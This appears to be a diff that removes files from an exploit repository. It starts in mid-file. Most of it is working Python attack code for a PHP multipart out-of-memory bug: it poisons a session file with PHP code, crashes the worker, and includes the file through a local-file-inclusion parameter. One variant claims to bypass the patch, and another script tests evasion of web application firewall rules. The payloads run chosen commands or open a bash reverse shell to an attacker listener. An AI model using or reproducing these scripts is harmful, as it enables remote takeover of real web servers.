pass
|
|
||||||
sock.close()
|
|
||||||
|
|
||||||
status = 0
|
|
||||||
try:
|
|
||||||
status = int(resp.split(b" ")[1])
|
|
||||||
except (IndexError, ValueError):
|
|
||||||
pass
|
|
||||||
return status
|
|
||||||
|
|
||||||
|
|
||||||
def phase2_lfi(host, port, tls, path, lfi_param, sid, session_paths):
|
|
||||||
"""Phase 2: Include poisoned session file via LFI after worker respawns."""
|
|
||||||
for sp in session_paths:
|
|
||||||
sess_file = f"{sp}/sess_{sid}"
|
|
||||||
lfi_url = f"{path}?{lfi_param}={sess_file}"
|
|
||||||
try:
|
|
||||||
sock = tcp_connect(host, port, tls, timeout=10)
|
|
||||||
sock.sendall(
|
|
||||||
b"GET " + lfi_url.encode() + b" HTTP/1.1\r\n"
|
|
||||||
b"Host: " + host.encode() + b"\r\n"
|
|
||||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
|
||||||
b"Connection: close\r\n\r\n"
|
|
||||||
)
|
|
||||||
resp = recv_all(sock, timeout=5)
|
|
||||||
sock.close()
|
|
||||||
|
|
||||||
rbody = body_of(resp)
|
|
||||||
if b"CVE2026:" in rbody:
|
|
||||||
return rbody, sp
|
|
||||||
except Exception:
|
|
||||||
continue
|
|
||||||
return None, None
|
|
||||||
|
|
||||||
|
|
||||||
def run(args):
|
|
||||||
p = urlparse(args.target)
|
|
||||||
tls = p.scheme == "https"
|
|
||||||
host = p.hostname or "127.0.0.1"
|
|
||||||
port = p.port or (443 if tls else 80)
|
|
||||||
path = p.path or "/"
|
|
||||||
|
|
||||||
spaths = list(SESSION_PATHS)
|
|
||||||
if args.session_path:
|
|
||||||
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
|
|
||||||
|
|
||||||
if args.trigger_only:
|
|
||||||
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
|
|
||||||
elif args.cmd:
|
|
||||||
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
|
||||||
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
|
|
||||||
elif args.lhost and args.lport:
|
|
||||||
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
|
|
||||||
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
|
||||||
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
|
||||||
else:
|
|
||||||
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
print("=" * 65)
|
|
||||||
print(" PATCH BYPASS: RLIMIT_AS mmap() Failure RCE on PHP 8.4.27+")
|
|
||||||
print(" memory_limit=-1 + RLIMIT_AS → mmap fails → old OOM path")
|
|
||||||
print("=" * 65)
|
|
||||||
print(f" Target : {args.target}")
|
|
||||||
print(f" LFI param : {args.lfi_param}")
|
|
||||||
print(f" Fields : {args.fields} x {args.field_size}B")
|
|
||||||
if args.cmd:
|
|
||||||
print(f" Command : {args.cmd}")
|
|
||||||
elif args.lhost:
|
|
||||||
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
|
||||||
print()
|
|
||||||
|
|
||||||
for attempt in range(args.attempts):
|
|
||||||
sid = os.urandom(16).hex()
|
|
||||||
print(f"[*] Attempt {attempt+1}/{args.attempts} — SID: {sid}")
|
|
||||||
|
|
||||||
print(f" Phase 1: Triggering mmap() failure via multipart flood...")
|
|
||||||
status = phase1_crash(host, port, tls, path, sid, php_code,
|
|
||||||
args.fields, args.field_size)
|
|
||||||
print(f" HTTP {status} — worker crashed (mmap failure)")
|
|
||||||
|
|
||||||
print(f" Waiting {args.respawn_wait}s for worker respawn...")
|
|
||||||
time.sleep(args.respawn_wait)
|
|
||||||
|
|
||||||
print(f" Phase 2: LFI include of poisoned session file...")
|
|
||||||
rbody, found_path = phase2_lfi(host, port, tls, path, args.lfi_param,
|
|
||||||
sid, spaths)
|
|
||||||
if rbody is not None:
|
|
||||||
text = rbody.decode(errors="replace")
|
|
||||||
if args.trigger_only:
|
|
||||||
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", text)
|
|
||||||
print(f"\n[+] Code execution confirmed!")
|
|
||||||
if m:
|
|
||||||
print(f" {m.group(1)}")
|
|
||||||
elif args.cmd:
|
|
||||||
m = re.search(r"CVE2026:(.*?):END", text, re.DOTALL)
|
|
||||||
result = m.group(1).strip() if m else text[:500]
|
|
||||||
print()
|
|
||||||
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
|
||||||
print(result)
|
|
||||||
print("[+] ══════════════════════════════════════════")
|
|
||||||
else:
|
|
||||||
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
|
|
||||||
|
|
||||||
print()
|
|
||||||
print(f"[+] Session path: {found_path}")
|
|
||||||
print("[+] RCE achieved via RLIMIT_AS mmap() bypass!")
|
|
||||||
print("[+] The 2026-10-21 patch does NOT handle mmap() failure path.")
|
|
||||||
print("[+] Affects: containers with cgroup limits, shared hosting with")
|
|
||||||
print("[+] RLIMIT_AS, any env where memory_limit=-1 + OS limits.")
|
|
||||||
print("[+] Mitigation: session.upload_progress.enabled=0")
|
|
||||||
return
|
|
||||||
|
|
||||||
print(f" Session file not found or already cleaned")
|
|
||||||
|
|
||||||
print()
|
|
||||||
print("[!] All attempts failed.")
|
|
||||||
print(" Possible causes:")
|
|
||||||
print(" - Target has PHP memory_limit set (not -1) → use standard exploit")
|
|
||||||
print(" - Target has no RLIMIT_AS/cgroup limit → mmap won't fail")
|
|
||||||
print(" - Session save path not in search list → use --session-path")
|
|
||||||
print(" - Worker respawn too slow → increase --respawn-wait")
|
|
||||||
|
|
||||||
|
|
||||||
def main():
|
|
||||||
ap = argparse.ArgumentParser(
|
|
||||||
description="Patch Bypass: RCE via RLIMIT_AS mmap() failure on PHP 8.4.27+",
|
|
||||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
|
||||||
epilog="""
|
|
||||||
The PHP 8.4.27 patch only handles OOM from PHP's memory_limit (zend_mm).
|
|
||||||
When memory_limit=-1 and RLIMIT_AS (or cgroup) limits address space,
|
|
||||||
mmap() fails through a DIFFERENT path the patch doesn't cover.
|
|
||||||
|
|
||||||
Preconditions:
|
|
||||||
- Target uses memory_limit=-1 (trusting OS limits)
|
|
||||||
- OS enforces RLIMIT_AS or cgroup memory limit
|
|
||||||
- session.upload_progress.enabled=1 (default)
|
|
||||||
|
|
||||||
The only effective mitigation is: session.upload_progress.enabled=0
|
|
||||||
|
|
||||||
Examples:
|
|
||||||
%(prog)s -t http://target/app.php --cmd 'id'
|
|
||||||
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
|
||||||
%(prog)s -t http://target/app.php --trigger-only --session-path /var/lib/php/sessions
|
|
||||||
%(prog)s -t http://target/app.php --cmd 'id' --fields 15000 --field-size 4096
|
|
||||||
""")
|
|
||||||
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
|
|
||||||
ap.add_argument("--cmd", help="Command to execute")
|
|
||||||
ap.add_argument("--lhost", help="Reverse shell listener IP")
|
|
||||||
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
|
|
||||||
ap.add_argument("--trigger-only", action="store_true",
|
|
||||||
help="Confirm vulnerability only")
|
|
||||||
ap.add_argument("--lfi-param", default="page",
|
|
||||||
help="LFI query parameter (default: page)")
|
|
||||||
ap.add_argument("--session-path",
|
|
||||||
help="session.save_path on target")
|
|
||||||
ap.add_argument("--fields", type=int, default=10000,
|
|
||||||
help="Number of multipart fields (default: 10000)")
|
|
||||||
ap.add_argument("--field-size", type=int, default=8192,
|
|
||||||
help="Size of each field value in bytes (default: 8192)")
|
|
||||||
ap.add_argument("--respawn-wait", type=float, default=3.0,
|
|
||||||
help="Seconds to wait for worker respawn (default: 3.0)")
|
|
||||||
ap.add_argument("--attempts", type=int, default=3,
|
|
||||||
help="Number of attempts (default: 3)")
|
|
||||||
args = ap.parse_args()
|
|
||||||
run(args)
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
main()
|
|
||||||
@@ -1,144 +0,0 @@
|
|||||||
#!/usr/bin/env python3
|
|
||||||
"""
|
|
||||||
WAF Bypass Tests for php2shell mitigations (CVE-2026-109618 / CVE-2026-109619)
|
|
||||||
|
|
||||||
Tests Content-Type evasion techniques against nginx/Apache WAF rules
|
|
||||||
that block multipart/form-data POST requests.
|
|
||||||
|
|
||||||
Tested against the community-recommended mitigations from:
|
|
||||||
- PasqualePillitteri/php2shell-hardening
|
|
||||||
- syhunt/php2shell-protection
|
|
||||||
|
|
||||||
Findings:
|
|
||||||
1. PUT/PATCH methods bypass POST-only WAF rules
|
|
||||||
- PHP 8.4's request_parse_body() parses multipart on these methods
|
|
||||||
- Session upload progress only fires on POST (rfc1867 handler)
|
|
||||||
- BUT: applications calling request_parse_body() on PUT/PATCH remain exposed
|
|
||||||
|
|
||||||
2. Duplicate Content-Type headers can bypass nginx $http_content_type matching
|
|
||||||
- nginx $http_content_type returns the first header value
|
|
||||||
- FastCGI CONTENT_TYPE joins all headers with ", "
|
|
||||||
- PHP truncates at first comma → takes the first value
|
|
||||||
- Result: nginx sees "text/plain" (no match), PHP sees "text/plain" (no multipart)
|
|
||||||
- PARTIAL bypass: passes WAF but doesn't trigger multipart parsing
|
|
||||||
|
|
||||||
3. Content-Type with reversed comma order bypasses nginx but not PHP
|
|
||||||
- "text/plain,multipart/form-data" → nginx doesn't match → WAF bypassed
|
|
||||||
- PHP truncates at comma → "text/plain" → no multipart parsing
|
|
||||||
- Same as #2: passes WAF but useless for the attack
|
|
||||||
|
|
||||||
4. The effective WAF bypass for the session poisoning attack is:
|
|
||||||
- If the WAF blocks multipart POST but allows normal POST
|
|
||||||
- AND the application has session.upload_progress.enabled=1
|
|
||||||
- The attacker can still race with the session file (no multipart needed for LFI)
|
|
||||||
- Only the POISON request needs multipart; the LFI probe is a normal GET
|
|
||||||
|
|
||||||
Usage:
|
|
||||||
python3 waf_bypass_test.py --target http://waf-target:8080 --unprotected http://direct-target:8080
|
|
||||||
"""
|
|
||||||
|
|
||||||
import argparse
|
|
||||||
import socket
|
|
||||||
import sys
|
|
||||||
|
|
||||||
|
|
||||||
def send_request(host, port, method, path, headers, body=b""):
|
|
||||||
"""Send raw HTTP request and return status code."""
|
|
||||||
sock = socket.create_connection((host, port), timeout=10)
|
|
||||||
req = f"{method} {path} HTTP/1.1\r\nHost: {host}\r\n".encode()
|
|
||||||
for k, v in headers.items():
|
|
||||||
if isinstance(v, list):
|
|
||||||
for val in v:
|
|
||||||
req += f"{k}: {val}\r\n".encode()
|
|
||||||
else:
|
|
||||||
req += f"{k}: {v}\r\n".encode()
|
|
||||||
if body:
|
|
||||||
req += f"Content-Length: {len(body)}\r\n".encode()
|
|
||||||
req += b"Connection: close\r\n\r\n"
|
|
||||||
if body:
|
|
||||||
req += body
|
|
||||||
sock.sendall(req)
|
|
||||||
resp = b""
|
|
||||||
sock.settimeout(5)
|
|
||||||
try:
|
|
||||||
while True:
|
|
||||||
d = sock.recv(8192)
|
|
||||||
if not d:
|
|
||||||
break
|
|
||||||
resp += d
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
sock.close()
|
|
||||||
try:
|
|
||||||
return int(resp.split(b" ")[1])
|
|
||||||
except:
|
|
||||||
return 0
|
|
||||||
|
|
||||||
|
|
||||||
def run_tests(waf_host, waf_port, plain_host, plain_port):
|
|
||||||
bnd = "----WAFTEST"
|
|
||||||
body = f"------WAFTEST\r\nContent-Disposition: form-data; name=\"test\"\r\n\r\nvalue\r\n------WAFTEST--\r\n".encode()
|
|
||||||
|
|
||||||
tests = [
|
|
||||||
("Standard multipart POST",
|
|
||||||
"POST", {"Content-Type": f"multipart/form-data; boundary={bnd}"}),
|
|
||||||
("Mixed case: Multipart/Form-Data",
|
|
||||||
"POST", {"Content-Type": f"Multipart/Form-Data; boundary={bnd}"}),
|
|
||||||
("ALL CAPS: MULTIPART/FORM-DATA",
|
|
||||||
"POST", {"Content-Type": f"MULTIPART/FORM-DATA; boundary={bnd}"}),
|
|
||||||
("Leading whitespace",
|
|
||||||
"POST", {"Content-Type": f" multipart/form-data; boundary={bnd}"}),
|
|
||||||
("Comma-separated (multipart first)",
|
|
||||||
"POST", {"Content-Type": f"multipart/form-data,text/plain; boundary={bnd}"}),
|
|
||||||
("Comma-separated (text/plain first)",
|
|
||||||
"POST", {"Content-Type": f"text/plain,multipart/form-data; boundary={bnd}"}),
|
|
||||||
("Duplicate CT (text/plain first)",
|
|
||||||
"POST", {"Content-Type": ["text/plain", f"multipart/form-data; boundary={bnd}"]}),
|
|
||||||
("Duplicate CT (multipart first)",
|
|
||||||
"POST", {"Content-Type": [f"multipart/form-data; boundary={bnd}", "text/plain"]}),
|
|
||||||
("PUT method",
|
|
||||||
"PUT", {"Content-Type": f"multipart/form-data; boundary={bnd}"}),
|
|
||||||
("PATCH method",
|
|
||||||
"PATCH", {"Content-Type": f"multipart/form-data; boundary={bnd}"}),
|
|
||||||
]
|
|
||||||
|
|
||||||
print(f"{'Test':<45} {'WAF':>5} {'Direct':>6} {'Bypass?'}")
|
|
||||||
print("-" * 75)
|
|
||||||
|
|
||||||
for name, method, headers in tests:
|
|
||||||
waf_code = send_request(waf_host, waf_port, method, "/wp-login.php", headers, body)
|
|
||||||
direct_code = send_request(plain_host, plain_port, method, "/wp-login.php", headers, body)
|
|
||||||
bypass = "YES" if waf_code != 403 and direct_code in (200, 301, 302, 500) else ""
|
|
||||||
if waf_code != 403:
|
|
||||||
bypass = f"WAF:{waf_code}"
|
|
||||||
print(f"{name:<45} {waf_code:>5} {direct_code:>6} {bypass}")
|
|
||||||
|
|
||||||
|
|
||||||
def main():
|
|
||||||
ap = argparse.ArgumentParser(description="WAF bypass tests for php2shell mitigations")
|
|
||||||
ap.add_argument("--target", required=True, help="WAF-protected URL")
|
|
||||||
ap.add_argument("--unprotected", required=True, help="Unprotected URL (for comparison)")
|
|
||||||
args = ap.parse_args()
|
|
||||||
|
|
||||||
from urllib.parse import urlparse
|
|
||||||
waf = urlparse(args.target)
|
|
||||||
plain = urlparse(args.unprotected)
|
|
||||||
|
|
||||||
print("=" * 75)
|
|
||||||
print(" WAF Bypass Tests for php2shell Mitigations")
|
|
||||||
print("=" * 75)
|
|
||||||
print(f" WAF target : {args.target}")
|
|
||||||
print(f" Unprotected : {args.unprotected}")
|
|
||||||
print()
|
|
||||||
|
|
||||||
run_tests(waf.hostname, waf.port, plain.hostname, plain.port)
|
|
||||||
print()
|
|
||||||
print("Notes:")
|
|
||||||
print(" - PUT/PATCH bypass WAF but don't trigger session.upload_progress")
|
|
||||||
print(" - Comma/duplicate CT tricks pass WAF but PHP doesn't parse as multipart")
|
|
||||||
print(" - The race exploit only needs multipart for the POISON request (POST)")
|
|
||||||
print(" - The LFI probe is a normal GET, which no WAF blocks")
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
main()
|
|
||||||
@@ -1,17 +0,0 @@
|
|||||||
<?php
|
|
||||||
header('Content-Type: text/plain');
|
|
||||||
$pid = getmypid();
|
|
||||||
$status_pre = session_status();
|
|
||||||
$sid_pre = session_id();
|
|
||||||
$ok = @session_start();
|
|
||||||
$status_post = session_status();
|
|
||||||
$sid_post = session_id();
|
|
||||||
$data = isset($_SESSION) ? $_SESSION : [];
|
|
||||||
echo "pid=$pid\n";
|
|
||||||
echo "session_status_before=$status_pre\n";
|
|
||||||
echo "session_id_before=$sid_pre\n";
|
|
||||||
echo "session_start_ok=" . var_export($ok, true) . "\n";
|
|
||||||
echo "session_status_after=$status_post\n";
|
|
||||||
echo "session_id_after=$sid_post\n";
|
|
||||||
echo "session_data=" . json_encode($data) . "\n";
|
|
||||||
echo "session_save_path=" . session_save_path() . "\n";
|
|
||||||
@@ -1,426 +0,0 @@
|
|||||||
#!/usr/bin/env python3
|
|
||||||
"""
|
|
||||||
CVE-2026-109618 — PHP Multipart Parser OOM → Session Poisoning → RCE
|
|
||||||
|
|
||||||
The PHP multipart parser (rfc1867.c) allocates memory for each form field
|
|
||||||
during request parsing. By sending enough fields to exceed memory_limit
|
|
||||||
(or RLIMIT_AS), OOM triggers during parsing itself. The resulting
|
|
||||||
zend_bailout() longjmps past the MULTIPART_EVENT_END handler, which
|
|
||||||
skips session.upload_progress cleanup — even with cleanup=1 (default).
|
|
||||||
|
|
||||||
The session file — poisoned via PHP_SESSION_UPLOAD_PROGRESS with embedded
|
|
||||||
PHP code — persists on disk. A follow-up request to a new FPM worker
|
|
||||||
includes this file via an LFI vector, executing our code.
|
|
||||||
|
|
||||||
Phase 1 ─ Poison + Crash
|
|
||||||
Multipart body:
|
|
||||||
1. PHP_SESSION_UPLOAD_PROGRESS = <?php PAYLOAD ?>
|
|
||||||
2. File upload (triggers progress handler → session flush to disk)
|
|
||||||
3. N form fields (OOM during parsing → bailout → cleanup skipped)
|
|
||||||
Worker crashes → session file persists with PHP code on disk.
|
|
||||||
|
|
||||||
Phase 2 ─ Trigger
|
|
||||||
FPM master spawns new worker. We include the session file via LFI
|
|
||||||
and the embedded PHP code executes.
|
|
||||||
|
|
||||||
Requirements:
|
|
||||||
- PHP-FPM with session.upload_progress.enabled=1 (default)
|
|
||||||
- memory_limit reachable via multipart fields (or RLIMIT_AS)
|
|
||||||
- An LFI vector in the target (include/require with user input)
|
|
||||||
- Known or guessable session.save_path
|
|
||||||
|
|
||||||
Tested: PHP 8.1–8.4, x86_64 Linux, NTS.
|
|
||||||
|
|
||||||
Usage:
|
|
||||||
python3 exploit.py -t http://target/app.php --cmd 'id'
|
|
||||||
python3 exploit.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
|
||||||
python3 exploit.py -t http://target/app.php --trigger-only
|
|
||||||
"""
|
|
||||||
|
|
||||||
import argparse
|
|
||||||
import base64
|
|
||||||
import os
|
|
||||||
import re
|
|
||||||
import socket
|
|
||||||
import sys
|
|
||||||
import time
|
|
||||||
from urllib.parse import urlparse
|
|
||||||
|
|
||||||
# ─── defaults ────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
FIELD_COUNT = 30000
|
|
||||||
FIELD_SIZE = 512
|
|
||||||
BATCH = 500
|
|
||||||
USE_CHUNKED = True
|
|
||||||
|
|
||||||
SESSION_PATHS = [
|
|
||||||
"/tmp",
|
|
||||||
"/tmp/php-sessions",
|
|
||||||
"/var/lib/php/sessions",
|
|
||||||
"/var/lib/php5/sessions",
|
|
||||||
"/var/lib/php/sess",
|
|
||||||
]
|
|
||||||
|
|
||||||
# ─── multipart builder ───────────────────────────────────────────────
|
|
||||||
|
|
||||||
def mp_field(bnd, name, value):
|
|
||||||
return (b"--" + bnd + b"\r\n"
|
|
||||||
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
|
|
||||||
b"\r\n" + value + b"\r\n")
|
|
||||||
|
|
||||||
def mp_file(bnd, name, fname, content):
|
|
||||||
return (b"--" + bnd + b"\r\n"
|
|
||||||
b'Content-Disposition: form-data; name="' + name
|
|
||||||
+ b'"; filename="' + fname + b'"\r\n'
|
|
||||||
b"Content-Type: application/octet-stream\r\n"
|
|
||||||
b"\r\n" + content + b"\r\n")
|
|
||||||
|
|
||||||
def mp_end(bnd):
|
|
||||||
return b"--" + bnd + b"--\r\n"
|
|
||||||
|
|
||||||
# ─── HTTP helpers ────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def tcp_connect(host, port, tls, timeout=60):
|
|
||||||
sock = socket.create_connection((host, port), timeout=timeout)
|
|
||||||
if tls:
|
|
||||||
import ssl
|
|
||||||
ctx = ssl.create_default_context()
|
|
||||||
ctx.check_hostname = False
|
|
||||||
ctx.verify_mode = ssl.CERT_NONE
|
|
||||||
sock = ctx.wrap_socket(sock, server_hostname=host)
|
|
||||||
return sock
|
|
||||||
|
|
||||||
def send_chunk(sock, data):
|
|
||||||
sock.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n")
|
|
||||||
|
|
||||||
def recv_all(sock, timeout=10):
|
|
||||||
resp = b""
|
|
||||||
sock.settimeout(timeout)
|
|
||||||
try:
|
|
||||||
while True:
|
|
||||||
d = sock.recv(8192)
|
|
||||||
if not d:
|
|
||||||
break
|
|
||||||
resp += d
|
|
||||||
except socket.timeout:
|
|
||||||
pass
|
|
||||||
return resp
|
|
||||||
|
|
||||||
def http_get(host, port, tls, path, timeout=10):
|
|
||||||
sock = tcp_connect(host, port, tls, timeout)
|
|
||||||
sock.sendall(
|
|
||||||
b"GET " + path.encode() + b" HTTP/1.1\r\n"
|
|
||||||
b"Host: " + host.encode() + b"\r\n"
|
|
||||||
b"Connection: close\r\n\r\n"
|
|
||||||
)
|
|
||||||
resp = recv_all(sock, timeout)
|
|
||||||
sock.close()
|
|
||||||
return resp
|
|
||||||
|
|
||||||
def status_code(resp):
|
|
||||||
try:
|
|
||||||
return int(resp.split(b" ")[1])
|
|
||||||
except:
|
|
||||||
return 0
|
|
||||||
|
|
||||||
def body_of(resp):
|
|
||||||
if b"\r\n\r\n" not in resp:
|
|
||||||
return resp
|
|
||||||
hdr, raw = resp.split(b"\r\n\r\n", 1)
|
|
||||||
if b"transfer-encoding: chunked" in hdr.lower():
|
|
||||||
out = b""
|
|
||||||
data = raw
|
|
||||||
while data:
|
|
||||||
nl = data.find(b"\r\n")
|
|
||||||
if nl < 0:
|
|
||||||
break
|
|
||||||
try:
|
|
||||||
clen = int(data[:nl].split(b";")[0].strip(), 16)
|
|
||||||
except ValueError:
|
|
||||||
break
|
|
||||||
if clen == 0:
|
|
||||||
break
|
|
||||||
out += data[nl+2:nl+2+clen]
|
|
||||||
data = data[nl+2+clen+2:]
|
|
||||||
return out
|
|
||||||
return raw
|
|
||||||
|
|
||||||
# ─── Phase 1: poison session + crash worker ──────────────────────────
|
|
||||||
|
|
||||||
def phase1(host, port, tls, path, bnd, sid, php_code, fields, fsize,
|
|
||||||
chunked=True):
|
|
||||||
"""Send multipart: upload progress + file + OOM fields.
|
|
||||||
|
|
||||||
Returns (http_status_or_0, fields_sent_before_crash).
|
|
||||||
|
|
||||||
When chunked=False, builds full body with Content-Length. Required
|
|
||||||
when nginx has fastcgi_request_buffering off — chunked bodies bypass
|
|
||||||
PHP's multipart parser in that configuration.
|
|
||||||
"""
|
|
||||||
if not chunked:
|
|
||||||
return _phase1_contentlength(host, port, tls, path, bnd, sid,
|
|
||||||
php_code, fields, fsize)
|
|
||||||
|
|
||||||
sock = tcp_connect(host, port, tls)
|
|
||||||
sock.sendall(
|
|
||||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
|
||||||
b"Host: " + host.encode() + b"\r\n"
|
|
||||||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
|
||||||
b"Transfer-Encoding: chunked\r\n"
|
|
||||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
|
||||||
b"Connection: close\r\n\r\n"
|
|
||||||
)
|
|
||||||
|
|
||||||
# 1. PHP_SESSION_UPLOAD_PROGRESS — value becomes session key suffix
|
|
||||||
send_chunk(sock, mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code))
|
|
||||||
# 2. File upload — triggers progress handler, session flushed to disk
|
|
||||||
send_chunk(sock, mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096))
|
|
||||||
# 3. Pressure fields — OOM during parsing before MULTIPART_EVENT_END
|
|
||||||
sent = 0
|
|
||||||
for start in range(0, fields, BATCH):
|
|
||||||
end = min(start + BATCH, fields)
|
|
||||||
batch = b""
|
|
||||||
for i in range(start, end):
|
|
||||||
batch += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
|
|
||||||
try:
|
|
||||||
send_chunk(sock, batch)
|
|
||||||
sent = end
|
|
||||||
except (BrokenPipeError, ConnectionResetError, OSError):
|
|
||||||
break
|
|
||||||
try:
|
|
||||||
send_chunk(sock, mp_end(bnd))
|
|
||||||
sock.sendall(b"0\r\n\r\n")
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
|
|
||||||
resp = recv_all(sock, timeout=5)
|
|
||||||
sock.close()
|
|
||||||
return status_code(resp), sent
|
|
||||||
|
|
||||||
|
|
||||||
def _phase1_contentlength(host, port, tls, path, bnd, sid, php_code,
|
|
||||||
fields, fsize):
|
|
||||||
"""Content-Length variant — builds the full body then sends it."""
|
|
||||||
body = b""
|
|
||||||
body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code)
|
|
||||||
body += mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096)
|
|
||||||
for i in range(fields):
|
|
||||||
body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
|
|
||||||
body += mp_end(bnd)
|
|
||||||
|
|
||||||
sock = tcp_connect(host, port, tls)
|
|
||||||
sock.sendall(
|
|
||||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
|
||||||
b"Host: " + host.encode() + b"\r\n"
|
|
||||||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
|
||||||
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
|
|
||||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
|
||||||
b"Connection: close\r\n\r\n"
|
|
||||||
)
|
|
||||||
|
|
||||||
try:
|
|
||||||
sock.sendall(body)
|
|
||||||
except (BrokenPipeError, ConnectionResetError, OSError):
|
|
||||||
pass
|
|
||||||
|
|
||||||
resp = recv_all(sock, timeout=5)
|
|
||||||
sock.close()
|
|
||||||
return status_code(resp), fields
|
|
||||||
|
|
||||||
# ─── Phase 2: LFI include of session file ───────────────────────────
|
|
||||||
|
|
||||||
def phase2(host, port, tls, path, sid, session_paths, lfi_param):
|
|
||||||
"""Try including the session file via common paths."""
|
|
||||||
for sp in session_paths:
|
|
||||||
sess = f"{sp}/sess_{sid}"
|
|
||||||
url = f"{path}?{lfi_param}={sess}"
|
|
||||||
try:
|
|
||||||
resp = http_get(host, port, tls, url, timeout=10)
|
|
||||||
rbody = body_of(resp)
|
|
||||||
if b"CVE2026:" in rbody or b"upload_progress_" in rbody:
|
|
||||||
return resp, sess
|
|
||||||
except:
|
|
||||||
continue
|
|
||||||
return None, None
|
|
||||||
|
|
||||||
# ─── main ────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def run(args):
|
|
||||||
p = urlparse(args.target)
|
|
||||||
tls = p.scheme == "https"
|
|
||||||
host = p.hostname or "127.0.0.1"
|
|
||||||
port = p.port or (443 if tls else 80)
|
|
||||||
path = p.path or "/"
|
|
||||||
|
|
||||||
sid = args.session_id or os.urandom(16).hex()
|
|
||||||
bnd = b"----CVE2026OOM" + os.urandom(8).hex().encode()
|
|
||||||
spaths = list(SESSION_PATHS)
|
|
||||||
if args.session_path:
|
|
||||||
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
|
|
||||||
|
|
||||||
# Build PHP payload
|
|
||||||
if args.trigger_only:
|
|
||||||
php_code = b'<?php echo "CVE2026:TRIGGERED:pid=".getmypid().":".php_uname(); ?>'
|
|
||||||
elif args.cmd:
|
|
||||||
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
|
||||||
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
|
|
||||||
elif args.lhost and args.lport:
|
|
||||||
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
|
|
||||||
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
|
||||||
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
|
||||||
else:
|
|
||||||
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only", file=sys.stderr)
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
print("=" * 65)
|
|
||||||
print(" CVE-2026-109618: PHP Multipart OOM → Session Poisoning → RCE")
|
|
||||||
print("=" * 65)
|
|
||||||
print(f" Target : {args.target}")
|
|
||||||
print(f" Session ID : {sid}")
|
|
||||||
print(f" LFI param : {args.lfi_param}")
|
|
||||||
print(f" Fields : {args.fields} × {args.field_size}B")
|
|
||||||
if args.cmd:
|
|
||||||
print(f" Command : {args.cmd}")
|
|
||||||
elif args.lhost:
|
|
||||||
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
|
||||||
print()
|
|
||||||
|
|
||||||
# ── Phase 0: verify target ──
|
|
||||||
print("[*] Phase 0: checking target...")
|
|
||||||
try:
|
|
||||||
r0 = http_get(host, port, tls, path, timeout=5)
|
|
||||||
sc = status_code(r0)
|
|
||||||
if sc == 0:
|
|
||||||
raise ConnectionError("no response")
|
|
||||||
print(f" HTTP {sc} — target alive")
|
|
||||||
except Exception as e:
|
|
||||||
print(f" [!] Not reachable: {e}")
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
# ── Phase 1: poison session + crash ──
|
|
||||||
print()
|
|
||||||
print("[*] Phase 1: session poisoning + OOM crash")
|
|
||||||
print(f" Injecting {len(php_code)}B PHP code into session key...")
|
|
||||||
|
|
||||||
use_chunked = not args.no_chunked
|
|
||||||
if not use_chunked:
|
|
||||||
print(f" Using Content-Length mode (required for fastcgi_request_buffering off)")
|
|
||||||
status, fields_sent = phase1(
|
|
||||||
host, port, tls, path, bnd, sid,
|
|
||||||
php_code, args.fields, args.field_size,
|
|
||||||
chunked=use_chunked,
|
|
||||||
)
|
|
||||||
|
|
||||||
if status == 502 or status == 0:
|
|
||||||
print(f" [+] Worker crashed (HTTP {status or 'reset'})")
|
|
||||||
print(f" OOM after ~{fields_sent} fields — bailout skipped session cleanup")
|
|
||||||
